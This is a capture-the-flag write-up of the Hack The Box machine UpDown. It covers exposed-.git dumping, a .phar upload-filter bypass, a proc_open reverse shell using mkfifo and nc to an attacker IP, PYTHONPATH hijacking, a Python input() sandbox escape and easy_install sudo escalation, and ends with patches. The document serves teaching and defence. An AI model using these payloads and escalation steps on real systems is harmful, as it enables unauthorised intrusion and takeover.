Overview
This machine begins w/ a web enumeration, /dev/.git
is discovered, since .git
is found, we are able to view the logs and commits of the git repository, providing us w/ the header needed to access dev.siteisup.htb
(siteisup.htb
found at index page) & the source code of checker.php
a page that allows user to upload a file that contains a bunch of URLs, to check whether the URLs are up, afterwards the uploaded file is deleted.
The source code reveals that .phar
extension is not banned, allowing us to upload a .phar
reverse shell to execute code. Also, the file deletion can be delayed by adding a bunch of URLs after the PHP
code, providing us sufficient time to execute our reverse shell, obtaining a low-privilege/www-data
shell.
For the privilege escalation part, we have to privilege escalate to developer
then to root
. After enumerating the system for files w/ setuid bit, siteisup
an executable is found, after viewing its contents w/ strings
, it is calling a python script that is importing a module requests
. Since we are able to define our own python path (/tmp
), we are able to privilege escalate via Python PATH Hijacking. A malicious library containing a reverse shell is created at /tmp/requests.py
, after defining our own Python PATH, /tmp/request.py
is executed instead of the actual requests.py
library.
Column | Details |
---|---|
Box Name | UpDown |
IP | 10.10.11.177 |
Points | 30 |
Difficulty | Medium |
Creator | AB2 |
Release Date | 03 Sep 2022 |
Recon
TCP/80 (HTTP)
- FFUF
1 2 3
301 GET 9l 28w 310c http://10.10.11.177/dev => http://10.10.11.177/dev/ 200 GET 40l 93w 1131c http://10.10.11.177/index.php 403 GET 9l 28w 277c http://10.10.11.177/server-status
/dev
- interesting directory found
Initial Foothold
TCP/80 (HTTP) - Subdomain Enumeration
- Proceed to
http://updown.htb
siteisup.htb
- Domain name is revealed (Remember to add it to/etc/hosts
! ) - Enumerate the subdomain
siteisup.htb
1 2 3 4
┌──(root💀kali)-[~/htb/UpDown/10.10.11.177/www/gitdumper/.git] └─# ffuf -u http://siteisup.htb -H "Host: FUZZ.siteisup.htb" -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -fw 186 dev [Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 249ms]
dev.siteisup.htb
found, but is403 - Forbidden
- We’ll come back to this
TCP/80 (HTTP) - siteisup.htb Enumeration (Nothing Found)
- After some testing, I can conclude that
- This is a valid request
POST
Parameterssite
debug
site
- if anything other than a link is submitted, “Hacking Attempt was Detected!”After further testing, I don’t think the parameter is vulnerable
debug
- if anything other than 0 is submitted, debug mode isTRUE
After further testing, I don’t think the parameter is vulnerable
- This is a valid request
- Let’s move on
Enumerate Git Repo
- Earlier, we found
/dev/
, directory enumerate/dev/FUZZ
1 2 3 4
.hta [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 249ms] .htaccess [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 250ms] .htpasswd [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 2217ms] .git/HEAD [Status: 200, Size: 21, Words: 2, Lines: 2, Duration: 4238ms]
.git
-Git
repository found - We are able to view the contents of the
git
repository w/ GitToolsgitdumper
- A tool that will download as much content as possible from the.git
repository which do not have directory listing enabled.gitextractor
- A tool that will extract commits and their contents from a broken repository.
- Download
.git
repo w/gitdumper
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
┌──(root💀kali)-[~/tools/GitTools/Dumper] └─# ./gitdumper.sh http://updown.htb/dev/.git/ ~/htb/UpDown/10.10.11.177/www/updown.htb/dev/gitdumper ########### # GitDumper is part of https://github.com/internetwache/GitTools # # Developed and maintained by @gehaxelt from @internetwache # # Use at your own risk. Usage might be illegal in certain circumstances. # Only for educational purposes! ########### [*] Destination folder does not exist [+] Creating /root/htb/UpDown/10.10.11.177/www/updown.htb/dev/gitdumper/.git/ [+] Downloaded: HEAD [-] Downloaded: objects/info/packs [+] Downloaded: description [+] Downloaded: config [-] Downloaded: COMMIT_EDITMSG [+] Downloaded: index [+] Downloaded: packed-refs [-] Downloaded: refs/heads/master [+] Downloaded: refs/remotes/origin/HEAD [-] Downloaded: refs/stash [+] Downloaded: logs/HEAD [-] Downloaded: logs/refs/heads/master [+] Downloaded: logs/refs/remotes/origin/HEAD [-] Downloaded: info/refs [+] Downloaded: info/exclude [-] Downloaded: /refs/wip/index/refs/heads/master [-] Downloaded: /refs/wip/wtree/refs/heads/master [-] Downloaded: objects/01/0dcc30cc1e89344e2bdbd3064f61c772d89a34 [-] Downloaded: objects/00/00000000000000000000000000000000000000
- Since the
.git
directory has directory listing enabled, we can do the same w/wget
1 2
┌──(root💀kali)-[~/htb/UpDown/10.10.11.177/www/gitdumper/.git] └─# wget -r http://updown.htb/dev/.git/
- View files in the
git
repository w/git ls-files
1 2 3 4 5 6 7 8
┌──(root💀kali)-[~/htb/UpDown/10.10.11.177/www/gitdumper/.git] └─# git ls-files .htaccess admin.php changelog.txt checker.php index.php stylesheet.css
- Compile all logs & commits into a file (For Easier Viewing)
1 2 3 4 5 6 7
┌──(root💀kali)-[~/htb/UpDown/10.10.11.177/www/wget-git/updown.htb/dev] └─# git log main | grep commit | awk '{print $2}' > commits ┌──(root💀kali)-[~/htb/UpDown/10.10.11.177/www/wget-git/updown.htb/dev] └─# cat commits | while read in; do git show "$in" >> logs; done ┌──(root💀kali)-[~/htb/UpDown/10.10.11.177/www/wget-git/updown.htb/dev] └─# ls commits index.html logs
- Found an interesting commit
bc4ba79e596e9fd98f1b2837b9bd3548d04fe7ab - New technique in header to protect our dev vhost.
Special-Dev: only4dev
is a required header to accessdev.siteisup.htb
Enumerate Git Repo (GitKraken)
- Install
gitkraken
1 2
wget https://release.gitkraken.com/linux/gitkraken-amd64.tar.gz sudo tar -xvzf gitkraken-amd64.tar.gz
gitkraken
allows us to view the commits more easily - Launch
gitkraken
& open the repo for analysis - Found an interesting commit,
bc4ba79e596e9fd98f1b2837b9bd3548d04fe7ab - New technique in header to protect our dev vhost.
Special-Dev: only4dev
is a required header to accessdev.siteisup.htb
- Found another interesting commit
f67efd00c10784ae75bd251add3d52af50d7addd - Create checker.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
...SNIP... <?php function isitup($url){ $ch=curl_init(); curl_setopt($ch, CURLOPT_URL, trim($url)); curl_setopt($ch, CURLOPT_USERAGENT, "siteisup.htb beta"); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $f = curl_exec($ch); $header = curl_getinfo($ch); if($f AND $header['http_code'] == 200){ return array(true,$f); }else{ return false; } curl_close($ch); } if($_POST['check']){ # File size must be less than 10kb. if ($_FILES['file']['size'] > 10000) { die("File too large!"); } $file = $_FILES['file']['name']; # Check if extension is allowed. $ext = getExtension($file); if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){ die("Extension not allowed!"); } # Create directory to upload our file. $dir = "uploads/".md5(time())."/"; if(!is_dir($dir)){ mkdir($dir, 0770, true); } # Upload the file. $final_path = $dir.$file; move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}"); # Read the uploaded file. $websites = explode("\n",file_get_contents($final_path)); foreach($websites as $site){ $site=trim($site); if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){ $check=isitup($site); if($check){ echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>"; }else{ echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>"; } }else{ echo "<center><font color='red'>Hacking attempt was detected !</font></center>"; } } # Delete the uploaded file. @unlink($final_path); } function getExtension($file) { $extension = strrpos($file,"."); return ($extension===false) ? "" : substr($file,$extension+1); } ?> ...SNIP...
- Basically what the
PHP
code is doing is, - Checks if the file we uploaded is less than
10 kb
, elsedie
- Checks if the content of the file we uploaded, whether it has any banned extensions (This is to prevent
PHP
file from being uploaded). However,.phar
is not in the list, this means that we can upload a.phar
file to do code execution. - Next, a directory (
uploads/md5sum/<uploaded file>
) is created to store our uploaded file. - Next, it
curl
the URLs in our file. - After the
for
loop goes through all the URLs, delete the uploaded file.
- Basically what the
- How do we do a file upload bypass to execute
PHP
code- Since
.phar
is not banned, we can executePHP
code - We can add a bunch of URLs at the end of our
PHP
code, this will give us sufficient time to browse to/upload/md5sum/<uploaded file>
to execute ourPHP
code.1 2 3 4 5 6
<PHP CODE> http://example.com http://example.com http://example.com http://example.com more URLs
- Since
TCP/80 (HTTP) - dev.siteisup.htb, File Upload Bypass + Command Execution
- Add
Special-Dev: only4dev
Header w/hackbar
This will permanently add
Special-Dev: only4dev
Header. - Create our payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
# Payload http://example.com <?php system($_GET['c']); ?> http://example.com http://example.com http://example.com http://example.com http://example.com http://example.com http://example.com http://example.com http://example.com http://example.com more URLs
It failed
- Lets look at
phpinfo()
to see why1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
# Payload <?php phpinfo(); ?> http://example.com http://example.com http://example.com http://example.com http://example.com http://example.com http://example.com http://example.com http://example.com http://example.com more URLs
A bunch of command execution functions are disabled
system(), passthru(), shell_exec(), popen(), fsockopen()
. - Lets find out if we can bypass the restrictions w/
dfunc-bypasser
- Download
phpinfo
file1 2
┌──(root💀kali)-[~/htb/UpDown/10.10.11.177/exploit] └─# curl http://dev.siteisup.htb/uploads/dd2f884d6ca7dba024fa145f8b5b258b/exploit.phar -H "Special-Dev: only4dev" -H "Host: dev.siteisup.htb" > phpinfo.php
- Run
dfunc-bypasser
1 2 3 4 5 6
┌──(root💀kali)-[~/htb/UpDown/10.10.11.177/exploit] └─# python dfunc-bypasser.py --file phpinfo.php Please add the following functions in your disable_functions option: proc_open If PHP-FPM is there stream_socket_sendto,stream_socket_client,fsockopen can also be used to be exploit by poisoning the request to the unix socket
proc_open
- we can use this to invoke a reverse shell !
- Download
- Create our payload - Source
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
<?php // descriptor array $desc = array( 0 => array('pipe', 'r'), // 0 is STDIN for process 1 => array('pipe', 'w'), // 1 is STDOUT for process 2 => array('file', '/tmp/error-output.txt', 'a') // 2 is STDERR for process ); // command to invoke markup engine $cmd = "ping -c 5 10.10.14.104"; // spawn the process $p = proc_open($cmd, $desc, $pipes); // send the wiki content as input to the markup engine // and then close the input pipe so the engine knows // not to expect more input and can start processing fwrite($pipes[0], $content); fclose($pipes[0]); // read the output from the engine $html = stream_get_contents($pipes[1]); // all done! Clean up fclose($pipes[1]); fclose($pipes[2]); proc_close($p); ?> http://example.com http://example.com http://example.com more URLs
- Demo - File Upload Bypass -> Command Execution Test
Ping returned !
- Invoke reverse shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
# Payload <?php // descriptor array $desc = array( 0 => array('pipe', 'r'), // 0 is STDIN for process 1 => array('pipe', 'w'), // 1 is STDOUT for process 2 => array('file', '/tmp/error-output.txt', 'a') // 2 is STDERR for process ); // command to invoke markup engine $cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.104 4444 >/tmp/f"; // spawn the process $p = proc_open($cmd, $desc, $pipes); // send the wiki content as input to the markup engine // and then close the input pipe so the engine knows // not to expect more input and can start processing fwrite($pipes[0], $content); fclose($pipes[0]); // read the output from the engine $html = stream_get_contents($pipes[1]); // all done! Clean up fclose($pipes[1]); fclose($pipes[2]); proc_close($p); ?> http://example.com http://example.com http://example.com more URLs
www-data
shell obtained1 2 3 4 5 6 7 8 9 10 11 12
┌──(root💀kali)-[~/htb/UpDown/10.10.11.177/exploit] └─# nc -nvlp 4444 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 10.10.11.177. Ncat: Connection from 10.10.11.177:58708. /bin/sh: 0: can't access tty; job control turned off $ id;whoami uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data $
- Demo - File Upload Bypass -> Invoke Reverse Shell
Privilege Escalation
Developer - Enumeration
- Enumerate the system for files w/ setuid bit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
www-data@updown:/tmp$ find / -perm /4000 -type f -exec ls -lda {} \; 2>/dev/null -rwsr-xr-- 1 root messagebus 51344 Apr 29 12:03 /usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwsr-xr-x 1 root root 14488 Jul 8 2019 /usr/lib/eject/dmcrypt-get-device -rwsr-xr-x 1 root root 22840 Feb 21 2022 /usr/lib/policykit-1/polkit-agent-helper-1 -rwsr-xr-x 1 root root 473576 Mar 30 2022 /usr/lib/openssh/ssh-keysign -rwsr-xr-x 1 root root 53040 Mar 14 2022 /usr/bin/chsh -rwsr-xr-x 1 root root 67816 Feb 7 2022 /usr/bin/su -rwsr-xr-x 1 root root 39144 Feb 7 2022 /usr/bin/umount -rwsr-xr-x 1 root root 166056 Jan 19 2021 /usr/bin/sudo -rwsr-xr-x 1 root root 88464 Mar 14 2022 /usr/bin/gpasswd -rwsr-xr-x 1 root root 39144 Mar 7 2020 /usr/bin/fusermount -rwsr-sr-x 1 daemon daemon 55560 Nov 12 2018 /usr/bin/at -rwsr-xr-x 1 root root 68208 Mar 14 2022 /usr/bin/passwd -rwsr-xr-x 1 root root 44784 Mar 14 2022 /usr/bin/newgrp -rwsr-xr-x 1 root root 85064 Mar 14 2022 /usr/bin/chfn -rwsr-xr-x 1 root root 55528 Feb 7 2022 /usr/bin/mount -rwsr-x--- 1 developer www-data 16928 Jun 22 15:45 /home/developer/dev/siteisup
/home/developer/dev/siteisup
- userdeveloper
setuid bit - View contents of
/home/developer/dev/siteisup
w/strings
1 2 3 4
...SNIP... Welcome to 'siteisup.htb' application /usr/bin/python /home/developer/dev/siteisup_test.py ...SNIP...
/home/developer/dev/siteisup_test.py
- python script is called - View
/home/developer/dev/siteisup_test.py
1 2 3 4 5 6 7 8 9
www-data@updown:/tmp$ cat /home/developer/dev/siteisup_test.py import requests url = input("Enter URL here:") page = requests.get(url) if page.status_code == 200: print "Website is up" else: print "Website is down"
requests
- library is imported
Developer - Python PATH Hijacking
- How do we exploit
/home/developer/dev/siteisup
?siteisup
is calling a python scriptsiteisup_test.py
siteisup_test.py
is importing a libraryrequests
- We are able to do Python PATH Hijacking by defining our own python path to a writable directory
/tmp
- Next, create a malicious python library in our writable directory
/tmp
also calledrequests.py
that will invoke a reverse shell. - Since we defined that
/tmp
is our python path,requests.py
will be executed, instead of the actualrequests.py
, invoking our reverse shell.
- Exploiting
/home/developer/dev/siteisup
- Remove
f
created earlier from our reverse shell - Create malicious python library
/tmp/requests.py
1 2
import os; os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.104 4444 >/tmp/f")
- Define our python path
1
www-data@updown:/tmp$ export PYTHONPATH=/tmp
- Start
netcat
listener1 2 3 4 5
┌──(root💀kali)-[~/htb/UpDown] └─# nc -nvlp 4444 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444
- Invoke reverse shell
1
/home/developer/dev/siteisup
developer
shell obtained1 2 3 4 5 6 7 8 9 10 11 12 13 14
┌──(root💀kali)-[~/htb/UpDown] └─# nc -nvlp 4444 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 10.10.11.177. Ncat: Connection from 10.10.11.177:59048. $ id;whoami uid=1002(developer) gid=33(www-data) groups=33(www-data) developer $ cd /home/developer $ ls dev user.txt
- Remove
- Demo - Python PATH Hijacking Privilege Escalation
- Copy user
developer
’s SSH private key (/home/developer/.ssh/id_rsa
) & SSH to obtain a stable shell1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
┌──(root💀kali)-[~/htb/UpDown/10.10.11.177/loot] └─# ssh developer@updown.htb -i id_rsa Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-122-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Mon Oct 24 11:43:51 UTC 2022 System load: 0.0 Usage of /: 51.8% of 2.84GB Memory usage: 29% Swap usage: 0% Processes: 256 Users logged in: 0 IPv4 address for eth0: 10.10.11.177 IPv6 address for eth0: dead:beef::250:56ff:feb9:b8c1 8 updates can be applied immediately. 8 of these updates are standard security updates. To see these additional updates run: apt list --upgradable The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Tue Aug 30 11:24:44 2022 from 10.10.14.36 developer@updown:~$
Root - Enumeration
- View user
developer
sudo access1 2 3 4 5 6
developer@updown:/tmp$ sudo -l Matching Defaults entries for developer on localhost: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User developer may run the following commands on localhost: (ALL) NOPASSWD: /usr/local/bin/easy_install
easy_install
- has a GTFOBins Entry
Root - SUDO GTFOBINS
- How do we exploit
easy_install
?- We can break out from restricted environments by spawning an interactive system shell.
- Exploiting
easy_install
- Spawn a
root
shell1 2 3 4 5 6 7 8
developer@updown:/tmp$ TF=$(mktemp -d) developer@updown:/tmp$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py developer@updown:/tmp$ sudo /usr/local/bin/easy_install $TF WARNING: The easy_install command is deprecated and will be removed in a future version. Processing tmp.bFSWGPKmBI Writing /tmp/tmp.bFSWGPKmBI/setup.cfg Running setup.py -q bdist_egg --dist-dir /tmp/tmp.bFSWGPKmBI/egg-dist-tmp-ZC4HiO #
- Spawn a
- Demo -
easy_install
GTFOBins Privilege Escalation
Additional
Developer - Escape Python Sandbox Environment
- Instead of Python PATH Hijacking, we escape the python sandbox environment
- Execute
/home/developer/dev/siteisup
& escape the sandbox environment1 2 3 4 5
www-data@updown:/tmp$ /home/developer/dev/siteisup Welcome to 'siteisup.htb' application Enter URL here:__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.32 4444 >/tmp/f') rm: cannot remove '/tmp/f': No such file or directory
Patch Command Execution (phpinfo)
- Add
proc_open
to the list of banned functions1 2 3 4 5 6
# nano /etc/php/8.0/apache2/php.ini # CTRL + W to find disable_functions disable_functions = pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcn tl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo, pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,error_log,system,exec,shell_exec,popen,passthru,link,symlin k,syslog,ld,mail,stream_socket_sendto,dl,stream_socket_client,fsockopen, proc_open
- Restart
apache
to apply changes1
# service apache2 restart
- View
phpinfo
- Try to execute our reverse shell
Patched !
Patch File Upload Bypass
- Add
.phar
extension to the list of banned extensions1 2 3 4 5 6 7
...SNIP... # Check if extension is allowed. $ext = getExtension($file); if(preg_match("/php|php[0-9]|phar|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){ die("Extension not allowed!"); } ...SNIP...
- Restart
apache
to apply changes1
# service apache2 restart
- Try to upload
exploit.phar
Patched !
Comments powered by Disqus.